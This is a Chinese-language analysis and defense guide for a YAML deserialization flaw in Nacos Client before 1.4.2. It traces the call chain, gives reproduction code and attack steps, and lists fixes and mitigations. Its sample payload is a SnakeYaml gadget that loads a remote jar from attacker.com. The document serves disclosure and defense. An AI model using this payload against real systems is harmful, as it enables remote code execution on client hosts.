Nacos Client Yaml反序列化漏洞分析
字数 1457 2025-08-03 16:42:40

Nacos Client Yaml反序列化漏洞分析与防护指南

1. 漏洞背景

Nacos是阿里巴巴开源的一个动态服务发现、配置和服务管理平台,广泛应用于微服务架构中。该漏洞影响使用AbstractConfigChangeListener监听配置的Nacos客户端,攻击者可通过控制Nacos服务端配置触发客户端Yaml反序列化漏洞。

2. 漏洞影响范围

  • 受影响版本:Nacos Client < 1.4.2
  • 影响对象:直接使用nacos-client SDK并采用AbstractConfigChangeListener监听配置的客户端
  • 不受影响情况
    • 使用Spring Cloud、Spring Boot、Dubbo等框架(不使用AbstractConfigChangeListener
    • Nacos Server >= 1.4.2

3. 漏洞原理分析

3.1 漏洞触发流程

  1. 客户端通过AbstractConfigChangeListener监听Nacos配置变更
  2. 攻击者修改服务端配置为恶意Yaml内容
  3. 客户端获取新配置后,在YmlChangeParser#doParse方法中解析Yaml
  4. 解析过程中触发SnakeYaml反序列化漏洞

3.2 关键代码分析

漏洞触发点

// com.alibaba.nacos.client.config.impl.YmlChangeParser#doParse
public Map<String, Object> doParse(String content, String type) {
    Yaml yaml = new Yaml(); // 未使用SafeConstructor
    return yaml.load(content); // 反序列化恶意内容
}

调用链

  1. ClientWorker.LongPollingRunnable#run - 长轮询监听配置变更
  2. CacheData#checkListenerMd5 - 检查配置MD5变化
  3. CacheData#safeNotifyListener - 安全通知监听器
  4. ConfigChangeHandler#parseChangeData - 解析变更数据
  5. YmlChangeParser#doParse - 最终触发漏洞

4. 漏洞复现

4.1 环境搭建

服务端:Nacos Server < 1.4.2

客户端依赖

<dependency>
    <groupId>com.alibaba.nacos</groupId>
    <artifactId>nacos-client</artifactId>
    <version>1.4.1</version>
</dependency>

客户端监听代码

import com.alibaba.nacos.api.NacosFactory;
import com.alibaba.nacos.api.config.ConfigChangeEvent;
import com.alibaba.nacos.api.config.ConfigService;
import com.alibaba.nacos.client.config.listener.impl.AbstractConfigChangeListener;
import java.util.Properties;

public class Client {
    public static void main(String[] args) throws Exception {
        String serverAddr = "nacos-server:8848";
        String dataId = "test-config";
        String group = "DEFAULT_GROUP";
        
        Properties properties = new Properties();
        properties.put("serverAddr", serverAddr);
        properties.put("username", "nacos");
        properties.put("password", "nacos");
        
        ConfigService configService = NacosFactory.createConfigService(properties);
        String content = configService.getConfig(dataId, group, 5000);
        System.out.println(content);
        
        configService.addListener(dataId, group, new AbstractConfigChangeListener() {
            @Override
            public void receiveConfigChange(ConfigChangeEvent configChangeEvent) {
                System.out.println(configChangeEvent);
            }
        });
        
        while (true) {
            Thread.sleep(1000);
        }
    }
}

4.2 攻击步骤

  1. 登录Nacos控制台
  2. 创建或修改一个配置,内容为Yaml反序列化Payload
  3. 保存配置后,监听该配置的客户端会自动获取并解析恶意内容

示例Payload

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://attacker.com/malicious.jar"]
  ]]
]

5. 漏洞修复方案

5.1 官方修复

Nacos 1.4.2版本修复方式:

// 修复后的代码使用SafeConstructor
Yaml yaml = new Yaml(new SafeConstructor());

5.2 升级建议

  • 升级Nacos Client到1.4.2或更高版本
  • 如果无法立即升级,可重写YmlChangeParser类,使用安全配置

5.3 临时缓解措施

  1. 禁用Yaml配置支持(如果业务不需要)
  2. 对Nacos Server进行访问控制,防止未授权访问
  3. 监控配置变更,特别是Yaml格式的配置

6. 安全防护建议

  1. 网络隔离

    • 将Nacos Server部署在内网
    • 限制客户端与Server之间的网络访问
  2. 认证授权

    • 启用Nacos认证功能
    • 配置最小权限原则
  3. 监控审计

    • 记录所有配置变更操作
    • 监控异常配置内容
  4. 客户端防护

    • 避免直接使用AbstractConfigChangeListener
    • 对配置内容进行校验

7. 漏洞利用场景

在渗透测试中,如果获取了Nacos Server控制台权限,可以:

  1. 查找已有配置的监听情况
  2. 修改配置为Yaml反序列化Payload
  3. 等待客户端自动获取并执行恶意代码

8. 参考链接

  1. Nacos官方GitHub Issue #4593
  2. Nacos官方GitHub Issue #4701
  3. Nacos 1.4.2版本Release Notes
Nacos Client Yaml反序列化漏洞分析与防护指南 1. 漏洞背景 Nacos是阿里巴巴开源的一个动态服务发现、配置和服务管理平台,广泛应用于微服务架构中。该漏洞影响使用 AbstractConfigChangeListener 监听配置的Nacos客户端,攻击者可通过控制Nacos服务端配置触发客户端Yaml反序列化漏洞。 2. 漏洞影响范围 受影响版本 :Nacos Client < 1.4.2 影响对象 :直接使用nacos-client SDK并采用 AbstractConfigChangeListener 监听配置的客户端 不受影响情况 : 使用Spring Cloud、Spring Boot、Dubbo等框架(不使用 AbstractConfigChangeListener ) Nacos Server >= 1.4.2 3. 漏洞原理分析 3.1 漏洞触发流程 客户端通过 AbstractConfigChangeListener 监听Nacos配置变更 攻击者修改服务端配置为恶意Yaml内容 客户端获取新配置后,在 YmlChangeParser#doParse 方法中解析Yaml 解析过程中触发SnakeYaml反序列化漏洞 3.2 关键代码分析 漏洞触发点 : 调用链 : ClientWorker.LongPollingRunnable#run - 长轮询监听配置变更 CacheData#checkListenerMd5 - 检查配置MD5变化 CacheData#safeNotifyListener - 安全通知监听器 ConfigChangeHandler#parseChangeData - 解析变更数据 YmlChangeParser#doParse - 最终触发漏洞 4. 漏洞复现 4.1 环境搭建 服务端 :Nacos Server < 1.4.2 客户端依赖 : 客户端监听代码 : 4.2 攻击步骤 登录Nacos控制台 创建或修改一个配置,内容为Yaml反序列化Payload 保存配置后,监听该配置的客户端会自动获取并解析恶意内容 示例Payload : 5. 漏洞修复方案 5.1 官方修复 Nacos 1.4.2版本修复方式: 5.2 升级建议 升级Nacos Client到1.4.2或更高版本 如果无法立即升级,可重写 YmlChangeParser 类,使用安全配置 5.3 临时缓解措施 禁用Yaml配置支持(如果业务不需要) 对Nacos Server进行访问控制,防止未授权访问 监控配置变更,特别是Yaml格式的配置 6. 安全防护建议 网络隔离 : 将Nacos Server部署在内网 限制客户端与Server之间的网络访问 认证授权 : 启用Nacos认证功能 配置最小权限原则 监控审计 : 记录所有配置变更操作 监控异常配置内容 客户端防护 : 避免直接使用 AbstractConfigChangeListener 对配置内容进行校验 7. 漏洞利用场景 在渗透测试中,如果获取了Nacos Server控制台权限,可以: 查找已有配置的监听情况 修改配置为Yaml反序列化Payload 等待客户端自动获取并执行恶意代码 8. 参考链接 Nacos官方GitHub Issue #4593 Nacos官方GitHub Issue #4701 Nacos 1.4.2版本Release Notes